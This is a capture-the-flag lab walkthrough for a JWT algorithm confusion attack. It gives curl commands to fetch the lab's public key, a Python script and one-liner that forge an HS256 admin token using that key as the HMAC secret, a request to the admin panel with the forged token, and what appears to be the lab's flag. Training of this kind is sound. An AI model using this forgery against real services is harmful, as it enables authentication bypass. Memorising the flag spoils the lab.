Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
The challenge presents a JWT authentication system that uses RS256 algorithm. You need to exploit an algorithm confusion vulnerability to forge an admin token and access the admin panel.
<target-ip>
(you'll be automatically redirected from port 80 to the main application)<target-ip>/verify
curl -O <target-ip>/public-key
public_key.pem
file#!/usr/bin/env python3
import jwt
import datetime
# Read the RSA public key
with open('public_key.pem', 'r') as f:
public_key = f.read()
# Create admin payload
payload = {
'username': 'admin',
'role': 'admin',
'iat': datetime.datetime.utcnow(),
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}
# Sign with HS256 using public key as secret (algorithm confusion)
# Strip PEM headers and use raw key data as HMAC secret
key_data = public_key.replace('-----BEGIN PUBLIC KEY-----', '').replace('-----END PUBLIC KEY-----', '').replace('\n', '')
admin_token = jwt.encode(payload, key_data, algorithm='HS256')
print(admin_token)
python3 -c "import jwt, datetime; public_key=open('public_key.pem').read(); key_data=public_key.replace('-----BEGIN PUBLIC KEY-----', '').replace('-----END PUBLIC KEY-----', '').replace('\n', ''); token=jwt.encode({'username': 'admin', 'role': 'admin', 'iat': datetime.datetime.utcnow(), 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)}, key_data, algorithm='HS256'); print(token.decode('utf-8') if isinstance(token, bytes) else token)"
curl -H "Authorization: Bearer <forged_admin_token>" <target-ip>/admin
06fa7760-fb97-40d8-bccd-6b842b84e67a
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.